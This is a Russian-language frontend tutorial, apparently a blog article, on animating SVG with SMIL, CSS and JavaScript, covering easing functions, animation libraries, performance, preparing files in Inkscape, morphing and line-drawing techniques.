Если мы почему-то используем SVG в виде стороннего файла, то возникает вопрос кеширования. Обычно люди считают, что кеширование — это хорошо. Но загвоздка в том, что состояния анимаций тоже кешируются в браузере. Если анимация закончилась, то при перезагрузке страницы есть ненулевая вероятность, что она не начнется заного. Не раз видел верстальщиков, у которых при верстке с вебпаком все работает, а потом при раскатывании сайта на серьезном сервере — начинаются какие-то залипания анимаций. Это в теории решается со стороны сервера, на уровне заголовков, запрещающих кеширование, но на деле оно как-то не всегда работает. Плюс мы завязываем какие-то визуальные штуки на конфигурацию сервера, что само по себе выглядит костылем. Можно все решить на клиенте добавлением случайных параметров в url картинки, чтобы браузер ее перезагружал каждый раз. Но это тоже костыль. Плюс все это создает проблемы синхронизации анимаций с действиями пользователя, т.к. картинка по сети загружается не мгновенно. Каждый раз ее загружать не удобно. Все это нарастает как снежный ком. Так что использование SVG со SMIL-анимациями в виде отдельной картинки в целом идея спорная. Подойдет не всегда. Если вы знаете, как это можно красиво приготовить — напишите в комментариях.
С inline svg все немного проще — там можно запускать SMIL-анимации с помощью атрибута begin='indefinite' и метода beginElement, есть доступ ко всему из скриптов, но при этом по мере развития проектов растет и количество подставок и прослоек, чтобы все работало с постепенной загрузкой контента в рамках условного SPA. Тоже не идеальный вариант на самом деле, но он явно удобнее, чем с отдельными файлами. По крайней мере все надежно и предсказуемо.
Использование SMIL может быть оправдано в ситуациях, когда нужно сделать простой морфинг или движение объектов по кривым в иконках. Это вещи, которые в CSS или совсем невозможно сделать, или речь идет о страшных костылях. Также есть программы для анимаций и JS-библиотеки, которые могут генерировать SMIL-анимации, и иногда можно встретить такой машинно-сгенерированный код, требующий поддержки. В остальных случаях использование SMIL мне кажется нецелесообразным из-за большого количества вопросов и издержек, возникающих при работе с кодом, особенно если что-то идет не так.
Анимирование SVG с помощью JS
-----------------------------
Следующий вариант анимирования — это скрипты. В целом здесь, как и в случае с CSS, все очень похоже на анимирование обычных HTML-элементов. Мы получаем их через методы вроде querySelector и используем setAttribute чтобы менять значения атрибутов у тегов. Ради каких-то оптимизаций возможны игры с innerHTML или еще что-то такое. Но в целом ничего сверхъестественного. Это все и не удивительно, т.к. речь идет о привычных нам встроенных во все браузеры инструментах.
Важное отличие от использования CSS/SMIL состоит в том, что со скриптами мы имеем полную свободу в плане использования сложных алгоритмов расчета траекторий передвижения элементов или каких-то других параметров. Мы можем использовать физические формулы, рандомизацию, расчеты каких-то параметров в реальном времени в зависимости от действий пользователя, и при этом код выглядит как код. Как набор человеко-понятных инструкций. Безусловно и на CSS можно делать сложные keyframes и использовать разные хаки со скрытыми интерактивными элементами, но код на JS в таких задачах и писать проще, и поддерживать. Про производительность мы еще поговорим дальше, но забегая вперед можно сказать, что все не так уж и плохо, как может показаться на первый взгляд.
Важно сразу осознать, что анимирование SVG с помощью JS не меняет сам формат SVG. Все фундаментальные возможности и ограничения остаются. Браузер рендерит SVG как и раньше. Это просто способ получить более гибкую и простую в понимании кодовую базу при решении комплексных задач. Но не более того.
### Инструменты для интерполяции значений во времени
Главный класс инструментов, который используется в 99.9% случаев анимирования SVG с помощью скриптов — это инструменты для интерполяции значений. Это логично: если у нас есть задача менять со временем атрибуты элементов, то нужно иметь какой-то способ описывать логику этих изменений, и, в частности, логику расчета промежуточных значений между начальным и конечным состоянием элементов в анимациях.
В рамках CSS и SMIL у нас есть встроенные возможности для создания временных функций, есть способы описать длительность анимаций, время начала, в каких-то случаях логику следования одних за другими, а в JS из коробки такого нет. Во всяком случае пока нет. Мы бегло посмотрим принцип работы некоторых штук, чтобы примерно понимать, что происходит внутри готовых библиотек, на которые будем ссылаться. Какие-то детали там могут отличаться, но идеи в корне везде одни и те же.
В целом написать свой инструмент для интерполяции значений в контексте интерфейсных анимаций не сложно, и это может быть оправданным вариантом в ситуациях, где нужно максимально компактное решение для конкретной задачи.
Начинается все с метода [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame). Этот метод мы всегда используем, чтобы синхронизировать происходящее в коде с рендерингом кадров в браузере. Каждый следующий кадр браузер будет вызывать нашу функцию, которую мы передаем в качестве параметра. В простейшем виде для бесконечных анимаций можно было бы сделать что-то такое:
```
function updateElement() {
// обновляем атрибуты элементов
requestAnimationFrame(updateElement);
}
```
Как пример:
На сегодняшний день стандартным FPS в браузерах является 60 кадров в секунду. Или 120, для экранов, которые это умеют. Это не то, чтобы константа. Зависит от монитора. Для нас важно, что при использовании requestAnimationFrame наша функция будет вызываться эти самые 60, или 120, или какая там будет частота у монитора, раз в секунду. Но не больше. Это важно. Если мы сделаем бесконечный цикл, то он будет крутиться с такой скоростью, на которую способен процессор в компьютере, а requestAnimationFrame — это своего рода тормозилка, снимающая нагрузку с железа. Если же наша функция будет тяжелой, будет что-то делать слишком долго, то следующие кадры будут пропускаться до тех пор, пока наши расчеты не закончатся. Будет видимая просадка FPS, но все будет работать в штатном режиме, по крайней мере устройство пользователя не повесится. Скорее всего.
> Экраны с высокой частотой обновления обычно предполагают хорошее железо, которое скорее всего и не заметит наших анимаций. Но. Если поделить 1000ms на условные 60 кадров в секунду для типовых экранов среднестатистических ноутбуков, то получится 16.5ms на кадр. Это время, за которое наша страница должна обновляться, чтобы все было ок. Не стоит забывать, что компьютер пользователя вообще-то говоря занят и другими делами, помимо наших анимаций. Поэтому при оценке алгоритмической сложности происходящего и тестах на слабом железе не стоит думать, что у реальных пользователей все ресурсы компьютера будут на самом деле доступны все 16.5ms. Что-то будет занято другими процессами. Так что близко к этой границе лучше не подходить.
Функция requestAnimationFrame при вызове колбека передает туда в качестве параметра текущее время. Сложно сказать, насколько это время точное, т.к. в современных браузерах из соображений безопасности даже performance.now() вроде как имеет случайную погрешность, но в контексте анимаций можно считать, что это плюс-минус текущее время. Соответственно можно использовать его и время начала анимации, чтобы произвести нехитрые расчеты прогресса конечной анимации, у которой есть начало и конец (тут пример условного JS-псевдокода, чтобы не раздувать примеры в статье, полный код будет на гитхабе):
```
function updateElement(time) {
const timeFraction = (time - startTime) / duration;
if (timeFraction >= 1) {
// анимация закончилась
} else {
const progress = easingFunction(timeFraction);
// обновляем атрибуты элементов,
// используя прогресс анимации от 0 до 1
requestAnimationFrame(updateElement);
}
}
```
В целом расчет прогресса анимации не представляет из себя ничего сложного, если иметь культуру использования значений от 0 до 1. Часть пройденного времени анимации — всегда от 0 до 1. Прогресс — от 0 до 1. Временные функции принимают на вход значения от 0 до 1 и возвращают значения от 0 до 1. Если это сложные функции, то они должны по крайней мере возвращать 0 для 0 на входе, и, соответственно, 1 для 1 на входе. Когда весь код построен на такой логике, в нем появляется возможность подставлять что угодно куда угодно, и становится проще его воспринимать, т.к. мы всегда знаем, какие примерно значения, в каких пределах используются. В CSS у нас все временные функции именно такие, если вы не задумывались. Как примеры временных функций на JS, подчиняющихся этой логике:
```
function easeLinear(x) {
return x;
}
function easeInCubic(x) {
return x * x * x;
}
function easeInExpo(x) {
if (x === 0) {
return 0;
} else {
return Math.pow(2, 10 * x - 10);
}
}
```
Неплохая подборка стандартных временных функций с примерами есть на <https://easings.net/>. Если вам эта тема интересна, то можно посмотреть примеры в ней.
Также, при желании, легко добавить логику прямых и обратных движений с прогрессом в обратную сторону, от 1 до 0, можно добавить разных временных функций, можно как-то это все организовать для удобства использования. Пример такого небольшого учебного инструмента [есть на github](https://github.com/sfi0zy/weeee). Не будем загружать статью его копипастой. Основные идеи должны быть понятны из текущих примеров. Тут скорее важно осознать общий принцип этих расчетов — он потом во всех библиотеках будет плюс-минус одинаковым.
### Библиотеки
Если у нас большой проект, то идея писать все самому становится все менее рациональной. Преимущество компактности быстро теряется, а вся эта логика с временными функциями уже была реализована не одну сотню раз другими разработчиками. Есть два популярных инструмента, которые помимо всего прочего умеют делать то, что нужно в нашем контексте — это GSAP и Anime.js.
[GSAP](https://greensock.com/gsap/) появился уже лет 10 назад, и в то время он в контексте креативной веб-разработки конкурировал с технологией flash. Чем больше на него смотришь, тем больше понимаешь, почему он такой, какой есть. Яростный маркетинг про новый стандарт анимации в вебе со всякими перлами для новичков в духе "анимация на GSAP работает быстрее анимации на JS” (хотя GSAP сам написан на JS и не может работать быстрее самого себя), форум с платной техподдержкой и обучением, монструозная документация, куча готовых функций и плагинов на любые обстоятельства, из которых в повседневной работе в рядовых интерфейсах можно применить от силы 10% — это все наследие из тех времен. Но нужно отдать должное — за столько лет инструмент вылизали, что-то убрали, где-то упростили, и работает он очень даже хорошо. Хотя все еще часто кажется слишком большим относительно решаемых задач.
Но есть также поколение более молодых инструментов, которые появилсь лет на 5 после GSAP, когда flash уже заканчивался, старые IE постепенно отмирали, появлялся ES6, SPA-фреймворки, и становилось понятно, как будет выглядеть верстка будущего. Что в ней нужно. Эти инструменты сохраняют в себе только то, что востребовано в повседневной работе, и это позволяет им оставаться компактными по сравнению с GSAP. Они могут быть хорошим выбором в проектах с более-менее типовой версткой, где нет потребности в каких-то извращениях. Похоже, что самый популярный инструмент в этом поколении — это [Anime.js](https://animejs.com/).
Эти инструменты, как вы уже поняли, универсальные. Их можно использовать для любых анимаций на странице. Можно атрибуты элементов менять, можно какие-то переменные в скриптах пересчитывать и где-то потом использовать. В WebGL контексте, например. Но есть класс изначально более узкоспециализированных инструментов, которые предназначались для работы с SVG. Мы ведь про это в первую очередь говорим. Например [Snap.svg](http://snapsvg.io/). Подобных инструментов можно много загуглить. Там есть более объемные, есть менее. Какие-то решают только одну задачу, например движение по кривой. Некоторые из них, вроде Raphaël, уходят корнями во времена IE6. Можете себе представить, какой адъ там внутри.
Удобно все подобные инструменты рассматривать как jQuery для SVG. Они дают разные обертки над стандартными методами работы с элементами на странице, закрывают какие-то древние проблемы кроссбраузерности (иногда там внутри генерируется SMIL-разметка), есть какой-то еще относительно часто нужный функционал, который когда-то было неудобно писать. Актуальность этих инструментов в наше время — такая же, как и у jQuery. Есть много готовых решений для разных задач, которые когда-то сделали с их использованием. Если какое-то из них подходит под наши задачи — ок, берем. Но если речь про новый проект с чистого листа, и у нас есть условный GSAP для всего остального на странице — может и не нужны они. Вопросы кроссбраузерности сейчас уже не стоят так же остро, как когда-то, а в сложных задачах сама сложность обычно состоит в хитрых расчетах, а синтаксические сахарные обертки не особо с этим помогают.
Но есть еще один класс инструментов, которые вообще-то решают перпендикулярные анимациям задачи, хотя где-то в своих недрах умеют что-то там анимировать. И почему-то часто всплывает вопрос в духе "а не использовать ли этот инструмент, как основной инструмент для анимаций на странице?". Хороший пример — [D3.js](https://d3js.org/).
Очень модная штука была когда-то, про нее на всех собеседованиях спрашивали. Этот конкретный инструмент — для визуализации данных. Схожие по идеологии инструменты есть и для других задач, но этот у всех на слуху, так что будем ссылаться на него. Наверное не очень корректно сваливать все в одну кучу, но нам удобно представить, что суть всех этих инструментов в том, что это комбайны, в которых собрали все, что в теории может понадобиться в какой-то узкой специализации в плане задач. Если наши задачи находятся только в этой области, например мы только визуализируем данные, то это может быть очень хорошим выбором. Там есть куча штук, которые могут понадобиться для этой работы. И функционал анимаций тоже есть из коробки. Удобно. Но если наши задачи за пределами этой области — то… Ну такое. Если сравнить гибкость и удобство настройки анимаций в том же GSAP и в D3.js, то разница будет заметна. Все же есть инструменты, которые на этом специализируются, а есть те, для которых анимации — это побочный функционал.
> Но все же я бы от себя сказал, что библиотека D3.js обязательна к ознакомлению, т.к. там есть целая коллекция добротных примеров, которые могут пригодиться не только в научных проектах. Сама по себе она как бы не всегда нужна, но это хороший пример, когда инструмент стоит взять ради готовых решений с его использованием, даже если какая-то функциональность продублируется другими инструментами.
Как-то так. Можно кратко подытожить, что простые задачи анимирования можно решать на чистом JS, для сложных — есть универсальные библиотеки для анимаций всего и вся. Динозавры — всегда под вопросом, но скорее нет. Специализированные инструменты, которые умеют что-то анимировать помимо своего основного функционала — выбираем по ситуации, но отдаем себе отчет, что нельзя все делать хорошо и одновременно.
А закончить тему сторонних инструментов можно грубым, но важным моментом, про который часто умалчивают маркетологи и евангелисты:
> Никакие скрипты не расширяют фундаментальные возможности и ограничения формата SVG. Никак. Они позволяют более удобно организовать код. Возможно закрывают какие-то вопросы кроссбраузерности. Возможно есть готовые алгоритмы для чего-нибудь, которые можно взять и поиспользовать. Это удобно. Но сам формат SVG не меняется, и принципы рендеринга его браузером не меняются. Это важно осознавать, чтобы не попадаться на маркетинговую фигню. Зачастую в рекламе какие-то базовые возможности SVG, про которые просто редко вспоминают, выдаются за расширение возможностей формата с помощью чудесной библиотеки. Всегда думайте своей головой!
Кроссбраузерность SVG-анимаций
------------------------------
Раз уж мы отмечали слово "кроссбраузерность" уже не раз, стоит остановиться на ней подробнее. В 2022 году вопросы кроссбраузерности во фронтенде уже не стоят так остро, как это было в 2012, но все же есть некоторые нестыковки.
В плане CSS почти все ок. Бывают баги, связанные с рендерингом, но они обычно одинаковые со всеми вариантами анимирования, и скорее связаны с самим форматом SVG, чем со способом изменения атрибутов. Они во многом похожи на проблемы, которые возникают с HTML-элементами. Округления значений, странные сглаживания — вот эти штуки. В первом примере с девушкой в шляпе можно увидеть пример такого бага с прозрачностью на границах контуров. Это не случайность, так задумано. Такие баги и без анимаций иногда появляются. Единственный вопрос, который действительно путает — это противоречащие стандарты для трансформаций.
В контексте SMIL все несколько хуже. Да, IE теперь молодец, но поскольку технология SMIL не особо развивается, мы имеем дело с разными нестыковками, которые когда-то там исторически сложились. Иногда что-то работает в одном браузере, но не работает в другом. Причем то и дело всплывают какие-то новые нестыковки, когда какая-то новая верстка снаружи SVG влияет на работоспособность внутри. Флексы и гриды могут давать неочевидные комбинации фич и багов, ломающих SVG. В целом практика показывает, что хорошо тестировать SMIL-анимации сразу в Firefox, двигаясь небольшими шагами, чтобы отслеживать, на каком моменте что-то пошло не так. В большинстве случаев то, что работает там, будет работать и в остальных браузерах. Но проверять стоит везде. Это не то место, где можно что-то утверждать не глядя.
С JS все просто: все ок. Что написали — то и получили. Было бы странно, если бы было по-другому.
Вопросы производительности
--------------------------
Одна из самых нелюбимых тем у фронтендеров, да? Хуже только доступность. Но мы поговорим. В целом ситуация с производительностью SVG-анимаций похожа на происходящее в мире HTML+CSS, знакомом любому верстальщику.
Можно выделить 4 основных момента, на которые определенно стоит обращать внимание:
1. Количество элементов в анимации: чем их больше, тем сильнее все будет тормозить. Ничего нового. Если вам зачем-то нужно анимировать 100000 постаматов на SVG карте — думайте про кластеризацию. Это еще и на удобстве использования хорошо скажется.
2. Размер SVG на экране: чем больше места на экране занимает SVG, чем больше пикселей, тем больше ресурсов нужно, чтобы ее рендерить. Собственно с CSS-анимациями все так же.
3. Маски: одна маска не окажет сильного влияния на анимацию, но если их будет много, то нагрузка на железо начнет расти. Тут мы, видимо, вступаем на какую-то скользкую дорожку внутренних оптимизаций в браузерах. Количество масок влияет явно сильнее, чем количество анимируемых элементов, но степень влияния сложно предсказать. Она явно не линейная. Нужно все проверять в конкретных анимациях.
4. Фильтры: тут нужно быть очень осторожным. Если фильтры, связанные с цветами, не окажут сильного влияния, то штуки, связанные с blur и разного рода displacement map могут убить производительность страницы полностью. Почему это происходит, мы уже разбирали в [статье про матрицы](https://habr.com/ru/post/520078/) из серии "Математика верстальщику не нужна". Если вам интересно, как эти фильтры работают, и почему они требуют много ресурсов — полистайте на досуге.
Инструменты разработчика в браузерах обычно показывают что-то не очень полезное. Обычно в действительно "тяжелых" SVG-анимациях, когда уже идут множественные пропущенные кадры, мы видим много чего в разделе про GPU, но там традиционно нет каких-то явных рекомендаций о том, что делать:
А больше потыкать особо и и некуда. Приходится подключать интуицию и знание того, какие штуки требуют больших вычислительных мощностей при рендеринге. Это тот самый случай, когда знания из мира компьютерной графики нужны фронтендеру, чтобы сделать нормально работающий продукт.
> К слову про GPU: в сети часто можно встретить утверждение, что SVG-анимации задействуют исключительно CPU, а canvas — исключительно GPU. И поэтому canvas по производительности выигрывает. Но нетрудно заметить, что это не совсем так. GPU используется и с SVG.
Отдельно стоит сказать, что светлое будущее еще не наступило на рынке в целом. У разработчиков часто присутствует когнитивное искажение, что если у них топовый i7 и видеокарта на 8GB видеопамяти, то и у пользователей все так же. А у кого не так — тот и не нужен. Неплатежеспособный клиентъ, так сказать. В реальности все куда прозаичнее — и в бюджетных ноутбуках, и в модных ультрабуках мы часто будем видеть низковольтные процессоры и встроенные видеокарты с сомнительной производительностью. Их достаточно для офисной работы, но не для серьезных задач из мира компьютерной графики. Ваши модные макбуки тоже взлетают от некоторых сайтов. И цена им никак не помогает. Ну а телефоны — это отдельная песня. Там производительность — понятие в целом растяжимое. Так что не злоупотребляйте.
Это все приводит нас к такой мысли, что не всегда разумно до последнего держаться за SVG, даже если задача поначалу кажется подходящей под этот формат. Иногда стоит выбрать что-то другое — перейти на WebGL, оптимизировав каким-то образом отрисовку элементов в своем частном случае, и на этом получив какой-то выигрыш по производительности, или может быть вообще заменить всю анимацию на видео. Иногда даже экспортированная через lottie анимация на 2D-канвасе может работать шустрее, чем нативный вариант с SVG. Опять же, за счет использования каких-то алгоритмов для частных случаев отрисовки на экране каких-то штук. Разумеется, заранее заготовленное видео не везде подойдет, а реализация анимации на WebGL может потребовать дополнительных ресурсов на разработку, но если качество имеет значение, то не стоит слепо исключать альтернативные подходы к решению задач. В конце концов, если все люто тормозит, дедлайн на носу, а в команде никто вообще не понимает, как работает код, то можно пойти по пути постепенной деградации интерфейса. Только планку поднять, и отключить все тяжелые эффекты вообще для всех пользователей. Про это не принято говорить, но с точки зрения пользователя лучше иметь более простой, но хорошо работающий интерфейс, чем тормозящую красоту.
Подготовка SVG от дизайнера к анимированию
------------------------------------------
Помимо навыков кодирования для работы с SVG-анимациями понадобятся базовые навыки работы с векторными графическими редакторами. Конечно, хороший дизайнер, который все подготовит и принесет на блюдечке, а еще лучше, если сам заанимирует — это круто. Но не у всех он есть. А если и есть, то не всегда он свободен. Поэтому какие-то вещи нужно делать самому. И прежде, чем бросаться писать CSS/JS/SMIL-код, было бы хорошо навести порядок в файлах. Чистый и структурированный код может и время сэкономить, и нервы.
Очень часто в файлах присутствует дополнительная информация от графического редактора, вроде такой:
```
```
Она не нужна для конечного отображения SVG на странице, поэтому было бы хорошо ее сразу убрать. Или вот еще пример с другой стороны:
Вы уже догадались, какой формы этот path? Что тут нарисовано. Ну хотя бы примерно?
Нет? Ну ничего. Не все сразу. Практика решает. Ну а если ваша интуиция вас подводит, или вы не хотите вечно играть в угадайку, то SVG все же стоит готовить перед анимированием. Даже если страшно.
Для работы с SVG у нас есть векторные графические редакторы. Странно, но многие мидл+ фронтенд-разработчики в модных компаниях не умеют с ними работать. Или даже боятся их. Или, что для меня было открытием, не знают, что это такое. Если вы их еще не пробовали — самое время пойти и скачать себе какой-нибудь. Все знать не нужно, но базовые приемы работы на самом деле могут упростить жизнь и сэкономить кучу времени. Есть действия, которые натыкать мышкой куда быстрее, чем что-то изобретать в суровой программистской IDE.
Мы посмотрим примеры в Inkscape, но все векторные графические редакторы по сути одинаковые в своем базовом функционале. Они работают с одним и тем же форматом SVG, и мы уже знаем, что он и в африке остается SVG.
В целом выглядит оно примерно так:
У нас есть поле, где мы визуально видим картинку и можем тыкать мышкой, двигать, группировать элементы и.т.д. Есть поле, где мы видим структуру документа, которая потом превратится в код. На этапе редактирования в ней может быть мусор в виде префиксов, метаданных и неиспользованных id. Это неважно, все потом подчистится. И есть поле, прямо под деревом, где можно редактировать атрибуты выбранного элемента. Это три основных места, куда мы смотрим при подготовке к анимированию. И есть ряд типовых действий, которые хорошо уметь делать. Мы их кратко обозначим, чтобы было понятно, куда посмотреть в документации к вашему редактору, если возникнет необходимость что-то такое сделать. Кнопки везде в разных местах, но суть одна и та же.
### Структура документа
Первая группа действий — это просмотр и структурирование элементов в SVG. Сюда войдут такие действия, как группировка элементов в теги g, сокращенно от group, и задание атрибутов для них.
В Inkscape можно тыкать мышкой с Shift по визуальному отображению, выделяя много элементов и делать Gtrl+G, чтобы их быстро группировать. В меню это находится в Object > Group. Дерево тегов открывается на Ctrl+Shift+X или Edit > XML Editor, если вы его вдруг закрыли. В тем можно посмотреть, все ли правильно сгруппировалось. Атрибуты у тегов редактируются в дополнительной панели там же:
Полезно взять на заметку, что при работе с CSS/JS удобно использовать классы для разных элементов в SVG. Не обязательно использовать только id. Уникальные идентификаторы хороши для ссылок, но не для описания логики. Если сцена сложная — думайте о всех этих объектах, как о условных БЭМ-компонентах, и создавайте логику в сценах по тому же принципу. Иногда это будет слишком громоздким решением, но иногда это будет экономить очень много времени — картинки будут человеко-понятными на уровне кода. С такими работать — одно удовольствие.
### Работа с кривыми
Вторая группа действий — эта работа с кривыми. Тут есть несколько вещей, которые могут пригодиться:
* Редактирование кривых. Двигаем точки мышкой и получаем новые кривые. Это куда проще самому попробовать, чем описать словами.
* Смена направления контура через Path > Reverse. Это, в определенных случаях, определяет, что является "внутренностью" и "наружностью" у замкнутого контура, а также может быть полезно в анимациях рисовании линий.
* Заливка цветом. За это отвечает атрибут fill. Тут не забываем, что прозрачные контуры можно заливать почти прозрачным цветом, чтобы во всех браузерах с ними работал штатный браузерный :hover.
Дальше мы еще посмотрим, зачем все это может понадобиться.
### Мусор
И третья вещь, которая нужна — это сохранение SVG без мусора. Редакторы часто имеют много настроек на эту тему, все не перечислить. Обычно нужно убрать всю техническую информацию, которую редактор сам добавил, все метаданные, пример которых был выше. Нам они не нужны. Еще можно ограничить точность чисел с плавающей запятой, знаков до трех, чтобы SVG была меньше. Но тут аккуратно — иногда точность нужна больше, знаков пять. Это зависит от размера вьюпорта и степени детализированности картинки. Иногда просто не округлить без появления артефактов. Стоит удалить неиспользуемые id, чтобы не мешались. Может быть удобно делать своим id какой-то префикс и удалять все остальные.
В целом в разных редакторах там много настроек может быть. Самое главное — использовать только те оптимизации, которые мы точно понимаем и контролируем, а то редактор может начать творить что-то невразумительное, например удалять или объединять наши заботливо составленные группы элементов, которые мы только что сделали, или менять структуру path, и потом будут возникать вопросы.
В случае Inkscape стоит зайти в Edit > Preferences > Input/Output > SVG Output и выбрать формат, в котором будут сохраняться кривые. Можно выбрать абсолютные координаты или относительные (по умолчанию там выбран загадочный optimized формат, логику которого я так и не понял) и заставить его повторять избыточные команды, ничего не удаляя. В обычных ситуациях нам это не важно, но при подготовке контуров для морфинга мы должны четко понимать, какая у них структура, и не позволять редактору ее менять ради уменьшения размера картинки.
В конечном счете мы получим что-то такое:
```
```
Содержимое атрибутов d пропущено, там нечитаемый хаос из цифр, как и раньше. Но тут нет мусора, и можно писать CSS и JS, ссылаясь на конкретные элементы в сцене и не угадывать каждый раз, что есть что. С таким файлом уже можно работать.
Некоторые технические детали
----------------------------
Теперь, когда мы примерно определились с инструментами и почистили свои SVG, можно посмотреть примеры использования некоторых штук, которые мы упоминали, и которые нельзя просто так взять и сделать на HTML+CSS. Как показывает практика, тут есть вещи не совсем очевидные для фронтендеров. Возникают разные вопросы. Так что мы бегло пройдемся по самым популярным из них, чтобы развеять магию, чтобы вы примерно представляли, откуда все берется, и что гуглить, если что.
### Морфинг
Главная магия векторных картинок. CSS так не умеет. Идея морфинга в том, что мы берем два path, две кривых, и плавно трансформируем одну кривую в другую. Здесь есть важный момент, что эти два path должны иметь одинаковую структуру, чтобы все работало.
Там есть свой синтаксис описания кривых с помощью чисел-координат и букв, которые определяют, как провести линии между ними. Там есть прямые линии "L = line", есть кривые Безье "C = curve", можно просто подвинуть кисть и ничего не рисовать "M = move", и.т.д. Структура path — это по сути инструкция, как его рисовать кистью, только все слова сокращены для краткости. M 10 10 будет буквально означать "подвинуть кисть в координаты 10 10". L 50 50 будет буквально "нарисовать линию до 50 50". Чего-то принципиально сложного в этом нет. Большие буквы — используем абсолютные координаты, маленькие буквы — координаты будут относительно текущего положения кисти. Это как с absolute и relative в CSS.
> Если вам все это сложно представить в воображении — возьмите любой векторный графический редактор, и порисуйте произвольные линии. Там будут отображаться все вспомогательные построения и все станет в буквальном смысле очевидно.
Так вот. Если эта синтаксическая структура кривой будет разной, например "M 0 0 L 10 10 L 20 20" и "M 0 0 L 10 10 M 10 20 L 20 20" — то будет совершенно не понятно, как плавно перевести одну кривую в другую. Там разный набор инструкций для рисования. Что хотел сказать автор? А вот если они одинаковые, то все становится предельно просто.
Посмотрим пример, чтобы развеять всю техническую магию. Если у нас есть кривая:
```
```
Треугольник, если быть точнее. Нетрудно заметить, что инструкция содержит в себе три линии. И мы сделаем себе шаблон этой кривой в JS:
```
const d = `M ${A.x} ${A.y} L ${B.x} ${B.y} L ${C.x} ${C.y} L ${A.x} ${A.y}`;
```
То что будет, если мы начнем плавно менять координаты точек? Правильно — получится плавное изменение формы. Тот самый страшный-престрашный морфинг:
В более сложных анимациях под капотом происходит все то же самое, просто точек больше. Библиотеки для таких анимаций на JS по сути парсят заданные нами контуры, создают такой шаблон, и потом меняют значения в нем от значений в одном контуре до значений в другом. Это не особо сложная задача. Но.
По идее контуры для морфинга должны быть изначально сделаны одинаковыми. Но иногда дизайнер не удосуживается сделать их оба, и нужно подвигать точки одного контура, чтобы свести их к другому, и получить два контура с одинаковой структурой. Если это что-то сильно замороченное — то имеет смысл все же отдать эту работу дизайнеру, у которого рука набита, но если это что-то простое, то можно и самому подвигать. Не стоит бояться. Особенно если речь идет про какие-то анимации, где объекты складываются в плоскую линию, или вроде того.
В текущем контексте может возникнуть соблазн взять магические инструменты, которые адаптируют контуры сами. Например ShapeShifter, или [MorphSVGPlugin](https://greensock.com/morphsvg/) для GSAP. В Inkscape эта штука для интерполяций тоже есть. В Extensions. Все они действительно могут сгенерировать новые кривые с одинаковой структурой. Но они ничего не знают о том, как должны перемещаться точки при морфинге. А это может быть важно.
> Автоматически-магические преобразовалки контуров не знают ничего о дизайне и могут портить внешний вид анимаций. Это проблема не какого-то конкретного, инструмента, а всего класса инструментов.
В большинстве случаев эти инструменты берут много-много точек, располагают их на контурах равномерно по всей длине, и если делать переход от одной такой кривой к другой, то там могут начаться странные артефакты — будут появляться острые углы там, где их не должно быть, или наоборот — строгие геометрические формы в движении будут распадаться в какую-то кашу из коротких закорючек. В этом главная слабость этого класса инструментов. Стоит иметь это в виду. Если характер движения точек в анимации важен — их придется подвигать своими руками.
### Генеративные плавные кривые
Сопутствующая задача, которая то и дело всплывает в разных местах — это создание плавных линий, которые как-нибудь качаются. Это может быть как реакция на действия пользователя, так и какие-то рандомизированные колебания. Как показывает практика, многих ставит в тупик необходимость делать длинный контур из нескольких кривых Безье, так что вопрос стоит упоминания.
Еще из мира CSS мы знаем, что кривые Безье можно рисовать по точкам. Из соображений производительности в мире фронтенда мы не используем кривые высших степеней, только кубические. А их мы рисуем по четырем точкам. При создании визуально длинных кривых мы имеем последовательность кривых Безье. Структуру, в которой последняя точка одной кривой Безье — это первая точка другой кривой. А последняя ее точка может быть первой точкой следующей. И так до бесконечности. В векторном графическом редакторе нарисовать такую штуку не сложно — там при рисовании линий их составляющие сами именно таким образом и соединяются. Но когда мы хотим анимировать эту штуковину, нам нужно следить за тем, чтобы контур не ломался:
Для многих верстальщиков не совсем очевидно, что для того, чтобы контур не ломался, достаточно симметрично двигать предпоследнюю точку одного контура и вторую точку другого. Вокруг их крайних точек, которые находятся как бы в одном месте. Если эти четыре (визуально — три) точки остаются на одной прямой линии — контур плавный. В рамках графического редактора эту фишку легко самому сообразить, если подвигать точки туда-сюда. Но в контексте генеративных скриптовых анимаций все почему-то про это забывают. Не забывайте.
> Лайфхак: viewBox='0 0 100 100' особенно удобен в таких генеративных штуках. Да и вообще, думать в процентах от квадрата всегда проще, чем в 1784 безразмерных единицах из 2823.
К слову понимание того, как перемещение точек влияет на внешний вид кривых, позволит делать не только абстрактные анимашки, но и, например, гибко управлять линиями на разных схемах, чтобы все было красиво, как в [LeaderLine](https://anseki.github.io/leader-line/), или чтобы графики с данными были красиво сглаженными.
### Рисование линий
Рисование линий — это тема, тесно связанная с предыдущей. Строго говоря в SVG нет прямо вот API для рисования линий. Но на деле этот визуальный эффект можно имитировать с помощью свойств stroke-dasharray и stroke-dashoffset. Оба свойства анимируемые:
В целом логика достаточно простая. Свойство stroke-dasharray — это перечисление линий и дырок в пунктире. Первое число — линия. Второе — дырка. Третье — линия. Четвертое — дырка. и.т.д… Когда числа заканчиваются — все идет по кругу. И тут уж на что первое число попало, то и будет. Попало на линию — будет линия. Попало на дырку — будет дырка.
Если изначально сделать набор из линии нулевой длины и дырки длиной во весь контур, а потом анимировать его в набор из линии длиной во весь контур и нулевую дырку — получится классическое рисование линии, как мы его себе визуально привыкли представлять. Как в примере с карандашом. Если сдвигать все это с помощью stroke-dashoffset — то можно рисовать в другую сторону.
Дальше можно экспериментировать до бесконечности. Здесь нет каких-то опасных подводных камней. Это просто техническая штука, про которую стоит знать. Можно делать подчеркивания, управлять взглядом пользователя в каких-то стрелках, что-то писать. Много чего можно придумать. Менять эти свойства можно и по какой-то заранее определенной логике, и привязывая их к чему-нибудь. Например можно делать рисование чего-то на фоне, пока пользователь скроллит — это довольно популярная штука.
### Маски
Еще одна полезная штука, которую стоит упомянуть в контексте анимаций — это маски. Если вы когда-нибудь работали с графическими редакторами, то несомненно их видели.
В CSS у нас есть clip-path и mix-blend-mode с помощью которых можно нахимичить что-то похожее с некоторыми оговорками. А в SVG есть полноценные маски, которые удобно использовать. В контексте анимаций — можно скрывать какие-то части анимации, можно анимировать саму маску. Можно ее делать полупрозрачной, для каких-то плавных переходов. Большой простор для творчества. С масками определенно стоит поэкспериментировать, если вы раньше с ними не сталкивались.
